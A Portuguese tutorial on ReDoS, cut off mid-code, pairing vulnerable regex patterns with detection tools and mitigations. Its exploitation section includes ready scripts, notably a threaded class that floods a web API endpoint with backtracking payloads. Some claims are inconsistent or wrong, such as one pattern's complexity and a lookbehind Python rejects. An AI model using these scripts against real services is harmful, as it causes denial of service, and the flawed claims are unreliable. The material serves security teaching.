# ReDoS (Regex DoS)

## **📋 Índice**

1. [Fundamentos do ReDoS](#-fundamentos-do-redos)
2. [Mecanismos de Ataque](#-mecanismos-de-ataque)
3. [Padrões Vulneráveis](#-padrões-vulneráveis)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Detecção](#-ferramentas-de-detecção)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Mitigações e Correção](#-mitigações-e-correção)
8. [Regex Seguro por Linguagem](#-regex-seguro-por-linguagem)
9. [Testes de Performance](#-testes-de-performance)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do ReDoS**

### **O que é ReDoS?**

**Regular Expression Denial of Service (ReDoS)** é um tipo de ataque de negação de serviço que explora expressões regulares maliciosamente construídas ou vulneráveis. O ataque força o motor de regex a entrar em um estado de backtracking excessivo, consumindo CPU de forma exponencial e tornando a aplicação lenta ou indisponível.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Regex Vulnerável"
        A[^(a+)+$] --> B[Input: aaaaaaaaaaaaaaaaaaaa!]
    end
    
    subgraph "Backtracking Explosivo"
        B --> C[Opção 1: a a a a...]
        B --> D[Opção 2: aa aa aa...]
        B --> E[Opção 3: aaa aaa...]
        B --> F[Opção N: ...]
    end
    
    subgraph "Consequência"
        C --> G[CPU 100%]
        D --> G
        E --> G
        F --> G
        G --> H[DoS]
    end
    
    style A fill:#ff9999
    style G fill:#ff6666
    style H fill:#ff3333
```

### **Complexidade de Regex**

| Tipo de Regex         | Complexidade | Exemplo                    | Risco      |
| --------------------- | ------------ | -------------------------- | ---------- |
| **Linear**            | O(n)         | `^[a-z]+$`                 | ✅ Seguro   |
| **Polinomial**        | O(n²)        | `^(a+)+$`                  | ⚠️ Médio   |
| **Exponencial**       | O(2ⁿ)        | `^(a+)+$` com `a` repetido | 🔴 Alto    |
| **Super-exponencial** | O(n!)        | Padrões aninhados          | 🔴 Crítico |

***

## ⚔️ **Mecanismos de Ataque**

### **Padrões Vulneráveis Clássicos**

```python
#!/usr/bin/env python3
# redos_patterns.py - Padrões vulneráveis a ReDoS

import re
import time

class ReDOSPatterns:
    """Demonstração de padrões vulneráveis a ReDoS"""
    
    @staticmethod
    def evil_pattern_1():
        """Padrão: (a+)+ - Backtracking exponencial"""
        print("🔴 Padrão 1: (a+)+")
        pattern = re.compile(r'^(a+)+$')
        
        # Input benigno
        benign = "a" * 100
        start = time.time()
        pattern.match(benign)
        print(f"   Benigno: {time.time() - start:.4f}s")
        
        # Input malicioso
        malicious = "a" * 100 + "!"
        start = time.time()
        pattern.match(malicious)
        print(f"   Malicioso: {time.time() - start:.4f}s")
    
    @staticmethod
    def evil_pattern_2():
        """Padrão: (a|a)+ - Alternância"""
        print("\n🔴 Padrão 2: (a|a)+")
        pattern = re.compile(r'^(a|a)+$')
        
        malicious = "a" * 100 + "!"
        start = time.time()
        pattern.match(malicious)
        print(f"   Tempo: {time.time() - start:.4f}s")
    
    @staticmethod
    def evil_pattern_3():
        """Padrão: (a+)* - Quantificadores aninhados"""
        print("\n🔴 Padrão 3: (a+)*")
        pattern = re.compile(r'^(a+)*$')
        
        malicious = "a" * 100 + "!"
        start = time.time()
        pattern.match(malicious)
        print(f"   Tempo: {time.time() - start:.4f}s")
    
    @staticmethod
    def evil_pattern_4():
        """Padrão: (a|aa)+ - Alternância com comprimentos diferentes"""
        print("\n🔴 Padrão 4: (a|aa)+")
        pattern = re.compile(r'^(a|aa)+$')
        
        malicious = "a" * 100 + "!"
        start = time.time()
        pattern.match(malicious)
        print(f"   Tempo: {time.time() - start:.4f}s")
    
    @staticmethod
    def evil_pattern_5():
        """Padrão: (a+)+$ - Com lookahead"""
        print("\n🔴 Padrão 5: (a+)+$")
        pattern = re.compile(r'^(a+)+$')
        
        malicious = "a" * 100
        start = time.time()
        pattern.match(malicious)
        print(f"   Match sucesso: {time.time() - start:.4f}s")
        
        malicious = "a" * 100 + "!"
        start = time.time()
        pattern.match(malicious)
        print(f"   Match falha: {time.time() - start:.4f}s")

# Executar demonstração
ReDOSPatterns.evil_pattern_1()
ReDOSPatterns.evil_pattern_2()
ReDOSPatterns.evil_pattern_3()
ReDOSPatterns.evil_pattern_4()
ReDOSPatterns.evil_pattern_5()
```

### **Padrões Específicos por Linguagem**

```python
#!/usr/bin/env python3
# language_specific_patterns.py - Padrões específicos por linguagem

class LanguageSpecificPatterns:
    """Padrões ReDoS específicos por linguagem de programação"""
    
    @staticmethod
    def python_patterns():
        """Padrões comuns em Python"""
        patterns = [
            # Quantificadores aninhados
            (r'^(\d+)+$', "Números aninhados"),
            (r'^(\w+)+$', "Palavras aninhadas"),
            (r'^([a-z]+)+$', "Letras aninhadas"),
            
            # Alternância com backtracking
            (r'^(a|a)+$', "Alternância idêntica"),
            (r'^(ab|aba)+$', "Alternância sobreposta"),
            
            # Grupos de captura aninhados
            (r'^((a+)+)+$', "Grupos triplamente aninhados"),
            
            # Lookahead/lookbehind problemáticos
            (r'^(?=(a+))+$', "Lookahead com quantificador"),
            (r'^(?<=a+)+$', "Lookbehind com quantificador"),
        ]
        
        return patterns
    
    @staticmethod
    def javascript_patterns():
        """Padrões comuns em JavaScript"""
        patterns = [
            # Backtracking exponencial
            (r'/^(a+)+$/', "Backtracking clássico"),
            (r'/^(a|a)+$/', "Alternância problemática"),
            (r'/^(\w+)+$/', "Word characters"),
            
            # Padrões com quantificadores preguiçosos
            (r'/^.*?.*?.*?.*?.*?$/', "Múltiplos preguiçosos"),
            
            # Padrões com lookahead
            (r'/^(?=(a+))+\1$/', "Lookahead com referência"),
        ]
        
        return patterns
    
    @staticmethod
    def java_patterns():
        """Padrões comuns em Java"""
        patterns = [
            # Quantificadores possessivos vs gananciosos
            (r'^(a+)+$', "Ganancioso - problemático"),
            (r'^(a++)+$', "Possessivo - seguro"),
            
            # Padrões com classes de caracteres
            (r'^([a-zA-Z]+)+$', "Classe de caracteres"),
            (r'^([a-z]|[A-Z])+$', "Alternância de classes"),
        ]
        
        return patterns
    
    @staticmethod
    def php_patterns():
        """Padrões comuns em PHP"""
        patterns = [
            # PCRE específicos
            (r'/(a+)+$/', "Backtracking PCRE"),
            (r'/(a|a)+$/', "Alternância PCRE"),
            (r'/^(a+)+$/u', "Com flag Unicode"),
        ]
        
        return patterns

# Exibir padrões
print("📋 Padrões ReDoS por Linguagem")
print("=" * 60)

print("\n🐍 Python:")
for pattern, desc in LanguageSpecificPatterns.python_patterns():
    print(f"   {pattern} - {desc}")

print("\n📜 JavaScript:")
for pattern, desc in LanguageSpecificPatterns.javascript_patterns():
    print(f"   {pattern} - {desc}")

print("\n☕ Java:")
for pattern, desc in LanguageSpecificPatterns.java_patterns():
    print(f"   {pattern} - {desc}")

print("\n🐘 PHP:")
for pattern, desc in LanguageSpecificPatterns.php_patterns():
    print(f"   {pattern} - {desc}")
```

***

## 🔧 **Padrões Vulneráveis**

### **Classificação de Padrões Vulneráveis**

```python
#!/usr/bin/env python3
# vulnerable_patterns_classification.py - Classificação de padrões vulneráveis

import re
import time
import math

class VulnerablePatterns:
    """Classificação e análise de padrões vulneráveis a ReDoS"""
    
    @staticmethod
    def nested_quantifiers():
        """Quantificadores aninhados - O(2^n)"""
        print("🔴 Categoria 1: Quantificadores Aninhados")
        print("   Padrão: (a+)+")
        print("   Complexidade: O(2^n)")
        
        pattern = re.compile(r'^(a+)+$')
        
        for n in [10, 15, 20, 25, 30]:
            malicious = "a" * n + "!"
            start = time.time()
            pattern.match(malicious)
            elapsed = time.time() - start
            
            print(f"   n={n:2d}: {elapsed:.4f}s")
            
            if elapsed > 0.5:
                print(f"   ⚠️  Explosão detectada em n={n}")
                break
    
    @staticmethod
    def overlapping_alternation():
        """Alternância sobreposta - O(2^n)"""
        print("\n🔴 Categoria 2: Alternância Sobreposta")
        print("   Padrão: (a|aa)+")
        print("   Complexidade: O(2^n)")
        
        pattern = re.compile(r'^(a|aa)+$')
        
        for n in [10, 15, 20, 25, 30]:
            malicious = "a" * n + "!"
            start = time.time()
            pattern.match(malicious)
            elapsed = time.time() - start
            
            print(f"   n={n:2d}: {elapsed:.4f}s")
            
            if elapsed > 0.5:
                print(f"   ⚠️  Explosão detectada em n={n}")
                break
    
    @staticmethod
    def multiple_repetitions():
        """Repetições múltiplas - O(n^k)"""
        print("\n🟠 Categoria 3: Repetições Múltiplas")
        print("   Padrão: (.*?)+")
        print("   Complexidade: O(n^k)")
        
        pattern = re.compile(r'^(.*?)+$')
        
        for n in [10, 20, 30, 40, 50]:
            malicious = "a" * n
            start = time.time()
            pattern.match(malicious)
            elapsed = time.time() - start
            
            print(f"   n={n:2d}: {elapsed:.4f}s")
    
    @staticmethod
    def nested_groups():
        """Grupos aninhados - O(2^n)"""
        print("\n🔴 Categoria 4: Grupos Aninhados")
        print("   Padrão: ((a+)+)+")
        print("   Complexidade: O(2^n)")
        
        pattern = re.compile(r'^((a+)+)+$')
        
        for n in [5, 8, 10, 12, 15]:
            malicious = "a" * n + "!"
            start = time.time()
            pattern.match(malicious)
            elapsed = time.time() - start
            
            print(f"   n={n:2d}: {elapsed:.4f}s")
            
            if elapsed > 0.5:
                print(f"   ⚠️  Explosão detectada em n={n}")
                break
    
    @staticmethod
    def lookahead_quantifiers():
        """Lookahead com quantificadores - O(2^n)"""
        print("\n🔴 Categoria 5: Lookahead com Quantificadores")
        print("   Padrão: (?=(a+))+")
        print("   Complexidade: O(2^n)")
        
        pattern = re.compile(r'^(?=(a+))+$')
        
        for n in [5, 8, 10, 12, 15]:
            malicious = "a" * n + "!"
            start = time.time()
            pattern.match(malicious)
            elapsed = time.time() - start
            
            print(f"   n={n:2d}: {elapsed:.4f}s")
            
            if elapsed > 0.5:
                print(f"   ⚠️  Explosão detectada em n={n}")
                break

# Executar classificação
VulnerablePatterns.nested_quantifiers()
VulnerablePatterns.overlapping_alternation()
VulnerablePatterns.multiple_repetitions()
VulnerablePatterns.nested_groups()
VulnerablePatterns.lookahead_quantifiers()
```

### **Padrões de Regex por Risco**

```yaml
Risco CRÍTICO (O(2^n)):
  Padrões:
    - (a+)+
    - (a|a)+
    - (a|aa)+
    - ((a+)+)+
    - (?=(a+))+$
  
  Características:
    - Quantificadores aninhados
    - Alternância sobreposta
    - Grupos de captura aninhados
    - Lookahead/lookbehind com quantificadores

Risco ALTO (O(n^k)):
  Padrões:
    - (.*?)+
    - (\w+)+
    - (\d+)+
    - ([a-z]+)+
  
  Características:
    - Quantificadores em grupos
    - Classes de caracteres amplas
    - Repetições com backtracking

Risco MÉDIO (O(n²)):
  Padrões:
    - ^.*?.*?.*?$
    - (.*?)(.*?)(.*?)
    - (a+)(a+)(a+)
  
  Características:
    - Múltiplos quantificadores preguiçosos
    - Repetições consecutivas

Risco BAIXO (O(n)):
  Padrões:
    - ^[a-z]+$
    - ^\d+$
    - ^\w+$
    - ^a+$
  
  Características:
    - Quantificadores em classe de caracteres
    - Sem grupos aninhados
    - Sem alternância complexa
```

***

## 🎯 **Técnicas de Exploração**

### **Ataque 1: Backtracking Explosivo**

```python
#!/usr/bin/env python3
# backtracking_explosion.py - Ataque de backtracking explosivo

import re
import time
import threading

class BacktrackingExplosion:
    """Ataque de backtracking explosivo em regex"""
    
    def __init__(self, target_function, regex_pattern, input_generator):
        self.target = target_function
        self.pattern = regex_pattern
        self.input_gen = input_generator
        self.results = []
    
    def attack_single(self, input_length):
        """Ataque com um único input"""
        malicious_input = self.input_gen(input_length)
        
        print(f"[*] Testando com {input_length} caracteres...")
        
        start = time.time()
        self.target(self.pattern, malicious_input)
        elapsed = time.time() - start
        
        self.results.append({
            'length': input_length,
            'time': elapsed
        })
        
        return elapsed
    
    def attack_sequential(self, start=10, end=50, step=5):
        """Ataque sequencial com tamanhos crescentes"""
        print("🚨 Backtracking Explosion Attack")
        print("=" * 60)
        
        for n in range(start, end + 1, step):
            elapsed = self.attack_single(n)
            
            if elapsed > 1.0:
                print(f"   ⚠️  Explosão detectada em {n} caracteres: {elapsed:.2f}s")
                break
        
        self._print_report()
    
    def attack_parallel(self, threads=4):
        """Ataque paralelo para DoS"""
        print("🚨 Parallel Backtracking Attack")
        print("=" * 60)
        
        def worker(length):
            self.attack_single(length)
        
        thread_pool = []
        
        for i in range(threads):
            length = 20 + i * 5
            t = threading.Thread(target=worker, args=(length,))
            t.start()
            thread_pool.append(t)
        
        for t in thread_pool:
            t.join()
    
    def _print_report(self):
        """Imprimir relatório do ataque"""
        print("\n📊 Relatório de Ataque")
        print("=" * 60)
        
        for result in self.results:
            print(f"   {result['length']} chars: {result['time']:.4f}s")
        
        if any(r['time'] > 0.5 for r in self.results):
            print("\n⚠️  Vulnerabilidade ReDoS confirmada!")

# Função alvo vulnerável
def vulnerable_match(pattern, input_str):
    try:
        re.match(pattern, input_str)
    except:
        pass

# Geradores de input malicioso
def generate_exponential_input(n):
    """Gera input para causar backtracking exponencial"""
    return "a" * n + "!"

def generate_polynomial_input(n):
    """Gera input para causar backtracking polinomial"""
    return "a" * n

# Executar ataque
attack = BacktrackingExplosion(
    target_function=vulnerable_match,
    regex_pattern=r'^(a+)+$',
    input_generator=generate_exponential_input
)

attack.attack_sequential(start=10, end=30, step=2)
```

### **Ataque 2: Fuzzing de Regex**

```python
#!/usr/bin/env python3
# regex_fuzzing.py - Fuzzing para encontrar padrões ReDoS

import re
import time
import random
import string

class RegexFuzzer:
    """Fuzzing automatizado para encontrar padrões ReDoS"""
    
    def __init__(self, target_function, timeout=1.0):
        self.target = target_function
        self.timeout = timeout
        self.vulnerable_patterns = []
    
    def generate_random_string(self, length):
        """Gerar string aleatória"""
        chars = string.ascii_letters + string.digits + "!@#$%^&*()"
        return ''.join(random.choice(chars) for _ in range(length))
    
    def generate_patterns(self):
        """Gerar padrões de regex potencialmente perigosos"""
        patterns = [
            # Padrões clássicos
            r'^(a+)+$',
            r'^(a|a)+$',
            r'^(a|aa)+$',
            r'^((a+)+)+$',
            r'^(a+)*$',
            r'^(\w+)+$',
            r'^(\d+)+$',
            r'^([a-z]+)+$',
            
            # Padrões com lookahead
            r'^(?=(a+))+$',
            r'^(?=a+)+$',
            r'^a+(?=a+)+$',
            
            # Padrões com quantificadores preguiçosos
            r'^.*?.*?.*?$',
            r'^(.*?)+$',
            r'^(a+?)b$',
            
            # Padrões com alternância
            r'^(ab|aba)+$',
            r'^(a|b|c|d|e)+$',
            r'^(a|aa|aaa)+$',
            
            # Padrões com grupos
            r'^(\d+)+$',
            r'^([a-z]\d+)+$',
            r'^(\w+\d+)+$',
        ]
        
        return patterns
    
    def fuzz_pattern(self, pattern, test_cases=10):
        """Fuzzing de um padrão específico"""
        print(f"[*] Testando: {pattern}")
        
        compiled = re.compile(pattern)
        
        for _ in range(test_cases):
            # Testar com strings de tamanhos variados
            for length in [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]:
                test_string = self.generate_random_string(length)
                
                start = time.time()
                try:
                    compiled.match(test_string)
                    elapsed = time.time() - start
                    
                    if elapsed > self.timeout:
                        self.vulnerable_patterns.append({
                            'pattern': pattern,
                            'input': test_string,
                            'time': elapsed,
                            'length': length
                        })
                        print(f"   ⚠️  TIMEOUT! {elapsed:.2f}s em length={length}")
                        return True
                        
                except Exception as e:
                    print(f"   ❌ Erro: {e}")
                    return True
        
        print(f"   ✅ OK - {test_cases} testes passaram")
        return False
    
    def fuzz_all(self):
        """Executar fuzzing em todos os padrões"""
        print("🚨 Regex Fuzzing Attack")
        print("=" * 60)
        
        patterns = self.generate_patterns()
        
        for pattern in patterns:
            if self.fuzz_pattern(pattern):
                break
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório do fuzzing"""
        print("\n📊 Relatório de Fuzzing")
        print("=" * 60)
        
        if not self.vulnerable_patterns:
            print("✅ Nenhum padrão vulnerável encontrado")
            return
        
        print(f"🚨 {len(self.vulnerable_patterns)} padrão(ões) vulnerável(is):\n")
        
        for vuln in self.vulnerable_patterns:
            print(f"🔴 Padrão: {vuln['pattern']}")
            print(f"   Tempo: {vuln['time']:.2f}s")
            print(f"   Tamanho: {vuln['length']}")
            print(f"   Input: {vuln['input'][:50]}...")

# Uso
fuzzer = RegexFuzzer(target_function=re.match, timeout=0.5)
fuzzer.fuzz_all()
```

### **Ataque 3: ReDoS via API**

```python
#!/usr/bin/env python3
# api_redos_attack.py - Ataque ReDoS via API

import requests
import threading
import time

class APIReDOSAttack:
    """Ataque ReDoS através de API endpoints"""
    
    def __init__(self, target_url, endpoint, param_name):
        self.target_url = target_url
        self.endpoint = endpoint
        self.param_name = param_name
        self.results = []
    
    def send_payload(self, payload):
        """Enviar payload para API"""
        try:
            url = f"{self.target_url}/{self.endpoint}"
            params = {self.param_name: payload}
            
            start = time.time()
            response = requests.get(url, params=params, timeout=10)
            elapsed = time.time() - start
            
            return {
                'payload': payload,
                'status': response.status_code,
                'time': elapsed,
                'length': len(payload)
            }
        except requests.Timeout:
            return {
                'payload': payload,
                'status': 'TIMEOUT',
                'time': 10,
                'length': len(payload)
            }
        except Exception as e:
            return {
                'payload': payload,
                'status': 'ERROR',
                'time': 0,
                'error': str(e)
            }
    
    def generate_payloads(self):
        """Gerar payloads maliciosos"""
        payloads = []
        
        # Payloads de backtracking exponencial
        for n in range(10, 50, 5):
            payload = "a" * n + "!"
            payloads.append(payload)
        
        # Payloads de backtracking polinomial
        for n in range(100, 1000, 100):
            payload = "a" * n
            payloads.append(payload)
        
        return payloads
    
    def attack_sequential(self):
        """Ataque sequencial"""
        print("🚨 API ReDoS Attack - Sequential")
        print("=" * 60)
        
        payloads = self.generate_payloads()
        
        for payload in payloads:
            print(f"[*] Enviando payload de {len(payload)} caracteres...")
            result = self.send_payload(payload)
            
            self.results.append(result)
            
            if result['status'] == 'TIMEOUT':
                print(f"   ⚠️  TIMEOUT! API indisponível")
                break
            else:
                print(f"   Tempo: {result['time']:.2f}s")
    
    def attack_parallel(self, threads=10):
        """Ataque paralelo para DoS"""
        print("🚨 API ReDoS Attack - Parallel")
        print("=" * 60)
        
        payload = "a" * 100 + "!"
        
        def worker(thread_id):
            result = self.send_payload(payload)
            self.results.append(result)
            print(f"[Thread {thread_id}] Tempo: {result['time']:.2f}s")
        
        thread_pool = []
        for i in range(threads):
            t = threading.Thread(target=worker, args=(i,))
            t.start()
            thread_pool.append(t)
        
        for t in thread_pool:
            t.join()
        
        # Estatísticas
        total_time = sum(r['time'] for r in self.results if isinstance(r['time'], float))
        print(f"\n📊 Total de tempo de processamento: {total_time:.2f}s")
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n📊 Relatório de Ataque")
        print("=" * 60)
        
        timeouts = [r for r in self.results if r['status'] == 'TIMEOUT']
        if timeouts:
            print(f"🚨 {len(timeouts)} timeout(s) detectado(s)")
            for t in timeouts[:3]:
                print(f"   Payload: {t['payload'][:30]}... ({t['length']} chars)")
        else:
            avg_time = sum(r['time'] for r in self.results if isinstance(r['time'], float)) / len(self.results)
            print(f"✅ Nenhum timeout detectado")
            print(f"   Tempo médio: {avg_time:.2f}s")

# Uso
# attack = APIReDOSAttack("http://target.com", "validate", "input")
# attack.attack_sequential()
```

***

## 🛠️ **Ferramentas de Detecção**

### **Analisador de Regex**

```python
#!/usr/bin/env python3
# regex_analyzer.py - Analisador estático de regex

import re
import ast

class RegexAnalyzer:
    """Analisador estático para detectar padrões ReDoS"""
    
    def __init__(self):
        self.vulnerable_patterns = []
        self.warning_patterns = []
    
    def analyze_pattern(self, pattern):
        """Analisar um padrão de regex"""
        print(f"[*] Analisando: {pattern}")
        
        checks = {
            'nested_quantifiers': self._check_nested_quantifiers,
            'overlapping_alternation': self._check_overlapping_alternation,
            'multiple_quantifiers': self._check_multiple_quantifiers,
            'lookahead_quantifiers': self._check_lookahead_quantifiers,
            'wildcard_repetition': self._check_wildcard_repetition
        }
        
        issues = []
        
        for check_name, check_func in checks.items():
            result = check_func(pattern)
            if result:
                issues.append(result)
        
        return issues
    
    def _check_nested_quantifiers(self, pattern):
        """Verificar quantificadores aninhados"""
        # Padrões como (a+)+, (a*)*, (a+)*
        nested = re.search(r'\([^)]*[+*?][^)]*\)[+*?]', pattern)
        if nested:
            return {
                'type': 'NESTED_QUANTIFIERS',
                'severity': 'HIGH',
                'match': nested.group(),
                'description': 'Quantificadores aninhados podem causar backtracking exponencial'
            }
        return None
    
    def _check_overlapping_alternation(self, pattern):
        """Verificar alternância sobreposta"""
        # Padrões como (a|aa)+, (ab|aba)+
        alt = re.search(r'\(([^|]+\|[^)]+)+\)[+*]', pattern)
        if alt:
            alternatives = alt.group(1).split('|')
            # Verificar se uma alternativa é prefixo de outra
            for i, alt1 in enumerate(alternatives):
                for alt2 in alternatives[i+1:]:
                    if alt1.startswith(alt2) or alt2.startswith(alt1):
                        return {
                            'type': 'OVERLAPPING_ALTERNATION',
                            'severity': 'HIGH',
                            'match': alt.group(),
                            'description': f'Alternância sobreposta: {alt1} e {alt2}'
                        }
        return None
    
    def _check_multiple_quantifiers(self, pattern):
        """Verificar múltiplos quantificadores consecutivos"""
        # Padrões como .*?.*?.*?
        multiple = re.search(r'[+*?][+*?]', pattern)
        if multiple:
            return {
                'type': 'MULTIPLE_QUANTIFIERS',
                'severity': 'MEDIUM',
                'match': multiple.group(),
                'description': 'Múltiplos quantificadores consecutivos'
            }
        return None
    
    def _check_lookahead_quantifiers(self, pattern):
        """Verificar lookahead com quantificadores"""
        # Padrões como (?=(a+))+
        lookahead = re.search(r'\(\?=.*[+*?]\)[+*?]', pattern)
        if lookahead:
            return {
                'type': 'LOOKAHEAD_QUANTIFIERS',
                'severity': 'HIGH',
                'match': lookahead.group(),
                'description': 'Lookahead com quantificador externo'
            }
        return None
    
    def _check_wildcard_repetition(self, pattern):
        """Verificar repetição de wildcard"""
        # Padrões como .*, .+ repetidos
        wildcard = re.search(r'\.\*.*\.\*', pattern)
        if wildcard:
            return {
                'type': 'WILDCARD_REPETITION',
                'severity': 'MEDIUM',
                'match': wildcard.group(),
                'description': 'Múltiplos wildcards podem causar backtracking'
            }
        return None
    
    def analyze_file(self, filename):
        """Analisar arquivo contendo regex"""
        print(f"🔍 Analisando {filename}")
        print("=" * 60)
        
        with open(filename, 'r') as f:
            content = f.read()
        
        # Buscar padrões de regex em strings
        regex_patterns = re.findall(r'r?["\']([^"\']+\.*[+*?][^"\']*)["\']', content)
        
        for pattern in regex_patterns:
            issues = self.analyze_pattern(pattern)
            if issues:
                self.vulnerable_patterns.append({
                    'pattern': pattern,
                    'issues': issues
                })
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n📊 Relatório de Análise")
        print("=" * 60)
        
        if not self.vulnerable_patterns:
            print("✅ Nenhum padrão vulnerável encontrado")
            return
        
        print(f"🚨 {len(self.vulnerable_patterns)} padrão(ões) vulnerável(is):\n")
        
        for vuln in self.vulnerable_patterns:
            print(f"🔴 Padrão: {vuln['pattern']}")
            for issue in vuln['issues']:
                severity_icon = '🔴' if issue['severity'] == 'HIGH' else '🟠'
                print(f"   {severity_icon} [{issue['severity']}] {issue['type']}")
                print(f"      {issue['description']}")
                print(f"      Match: {issue['match']}")
            print()

# Uso
analyzer = RegexAnalyzer()
analyzer.analyze_file('vulnerable_code.py')
```

### **Ferramentas CLI**

```bash
# RXXR - Regex analyzer
rxxr -p '^(a+)+$'

# Regexploit - Detect ReDoS patterns
regexploit '^(a+)+$'

# ReDoS checker (Node.js)
npm install -g regex-checker
regex-checker '^(a+)+$'

# Python - regexploit
pip install regexploit
regexploit '^(a+)+$'

# Python - regex-dos
pip install regex-dos
python -m regex_dos '^(a+)+$' -t 100

# Ruby - redos-detector
gem install redos-detector
redos-detector '^(a+)+$'

# Java - regex-checker
java -jar regex-checker.jar '^(a+)+$'
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque ReDoS**

```mermaid
graph TD
    A[Identificar endpoint com regex] --> B[Analisar padrão vulnerável]
    B --> C[Construir payload malicioso]
    C --> D[Enviar payload em massa]
    
    D --> E{Regex processa input}
    E --> F[Backtracking exponencial]
    F --> G[CPU 100%]
    G --> H[Servidor lento/responde]
    
    H --> I[Outros usuários afetados]
    I --> J[Servidor indisponível]
    J --> K[DoS completo]
    
    style F fill:#ff9999
    style G fill:#ff6666
    style K fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                     | Impacto              | Tempo de Resposta     | Severidade |
| --------------------------- | -------------------- | --------------------- | ---------- |
| **Servidor Web**            | CPU 100%, timeout    | Segundos → Minutos    | 🔴 CRÍTICO |
| **API**                     | Lentidão extrema     | 100ms → 30s+          | 🔴 CRÍTICO |
| **Aplicação Desktop**       | UI congelada         | Instantâneo → Horas   | 🟠 ALTO    |
| **Validação de Formulário** | Usuário bloqueado    | <1s → 10s+            | 🟠 ALTO    |
| **Log Parsing**             | Logs não processados | Minutos → Horas       | 🟡 MÉDIO   |
| **CLI Tool**                | Comando travar       | Instantâneo → Minutos | 🟡 MÉDIO   |

***

## 🛡️ **Mitigações e Correção**

### **Padrões Seguros vs Vulneráveis**

```python
#!/usr/bin/env python3
# secure_regex_patterns.py - Padrões seguros vs vulneráveis

import re
import time

class SecureRegexPatterns:
    """Exemplos de padrões seguros e suas alternativas"""
    
    @staticmethod
    def vulnerable_vs_secure():
        """Comparar padrões vulneráveis com alternativas seguras"""
        
        examples = [
            {
                'vulnerable': r'^(a+)+$',
                'secure': r'^a+$',
                'description': 'Validação de letras repetidas'
            },
            {
                'vulnerable': r'^(\w+)+$',
                'secure': r'^\w+$',
                'description': 'Validação de palavras'
            },
            {
                'vulnerable': r'^(\d+)+$',
                'secure': r'^\d+$',
                'description': 'Validação de números'
            },
            {
                'vulnerable': r'^(a|aa)+$',
                'secure': r'^a{1,2}$',
                'description': 'Validação de comprimento'
            },
            {
                'vulnerable': r'^.*?.*?.*?$',
                'secure': r'^.*$',
                'description': 'Validação de qualquer caractere'
            },
            {
                'vulnerable': r'^(a+)*$',
                'secure': r'^a*$',
                'description': 'Zero ou mais repetições'
            }
        ]
        
        print("📊 Comparação: Vulnerável vs Seguro")
        print("=" * 80)
        print(f"{'Descrição':<20} {'Vulnerável':<25} {'Seguro':<20} {'Melhoria'}")
        print("-" * 80)
        
        for ex in examples:
            # Testar padrão vulnerável
            vuln_pattern = re.compile(ex['vulnerable'])
            secure_pattern = re.compile(ex['secure'])
            
            malicious = "a" * 50 + "!"
            
            start = time.time()
            vuln_pattern.match(malicious)
            vuln_time = time.time() - start
            
            start = time.time()
            secure_pattern.match(malicious)
            secure_time = time.time() - start
            
            improvement = (vuln_time / secure_time) if secure_time > 0 else 0
            
            print(f"{ex['description']:<20} {ex['vulnerable']:<25} {ex['secure']:<20} {improvement:>8.0f}x")
        
        print("\n💡 Dicas para regex seguro:")
        print("   • Evite quantificadores aninhados")
        print("   • Use quantificadores possessivos quando possível (++, *+)")
        print("   • Prefira classes de caracteres a alternâncias")
        print("   • Use limites de comprimento (^a{1,100}$)")
        print("   • Adicione timeouts nas operações regex")
    
    @staticmethod
    def possessive_quantifiers():
        """Usar quantificadores possessivos para evitar backtracking"""
        print("\n🔒 Quantificadores Possessivos")
        print("=" * 50)
        
        # Quantificadores possessivos (++, *+, ?+)
        patterns = [
            (r'^(a+)+$', "Ganancioso - perigoso"),
            (r'^(a++)+$', "Possessivo - seguro")
        ]
        
        for pattern, desc in patterns:
            compiled = re.compile(pattern)
            malicious = "a" * 30 + "!"
            
            start = time.time()
            compiled.match(malicious)
            elapsed = time.time() - start
            
            print(f"   {desc}: {pattern} -> {elapsed:.4f}s")
    
    @staticmethod
    def regex_timeout():
        """Implementar timeout em operações regex"""
        print("\n⏱️ Implementando Timeout em Regex")
        print("=" * 50)
        
        import signal
        
        class TimeoutError(Exception):
            pass
        
        def timeout_handler(signum, frame):
            raise TimeoutError("Regex timeout")
        
        def safe_regex_match(pattern, string, timeout=0.1):
            # Configurar timeout
            signal.signal(signal.SIGALRM, timeout_handler)
            signal.alarm(int(timeout) + 1)
            
            try:
                result = re.match(pattern, string)
                return result
            except TimeoutError:
                print(f"   ⚠️  Timeout após {timeout}s")
                return None
            finally:
                signal.alarm(0)
        
        # Testar
        pattern = r'^(a+)+$'
        malicious = "a" * 100 + "!"
        
        print(f"   Padrão: {pattern}")
        print(f"   Input: {len(malicious)} caracteres")
        
        result = safe_regex_match(pattern, malicious, timeout=0.1)
        if result is None:
            print("   ✅ Regex abortado por timeout")

# Executar
SecureRegexPatterns.vulnerable_vs_secure()
SecureRegexPatterns.possessive_quantifiers()
SecureRegexPatterns.regex_timeout()
```

### **Implementação Segura por Linguagem**

```python
#!/usr/bin/env python3
# language_safe_regex.py - Implementação segura por linguagem

class LanguageSafeRegex:
    """Implementações seguras de regex por linguagem"""
    
    @staticmethod
    def python_safe():
        """Python - Implementação segura"""
        print("🐍 Python Safe Regex")
        print("=" * 50)
        
        code = """
import re
import time

class SafeRegex:
    def __init__(self, pattern, timeout=0.1):
        self.pattern = re.compile(pattern)
        self.timeout = timeout
    
    def match(self, string):
        # Usar timeouts com sinais
        import signal
        
        class TimeoutError(Exception):
            pass
        
        def timeout_handler(signum, frame):
            raise TimeoutError()
        
        # Salvar handler anterior
        old_handler = signal.signal(signal.SIGALRM, timeout_handler)
        signal.alarm(int(self.timeout))
        
        try:
            result = self.pattern.match(string)
            return result
        except TimeoutError:
            return None
        finally:
            signal.alarm(0)
            signal.signal(signal.SIGALRM, old_handler)

# Uso
safe = SafeRegex(r'^(a+)+$')
result = safe.match("a" * 100 + "!")  # Retorna None em timeout
"""
        print(code)
    
    @staticmethod
    def javascript_safe():
        """JavaScript - Implementação segura"""
        print("\n📜 JavaScript Safe Regex")
        print("=" * 50)
        
        code = """
// Usar limites de comprimento
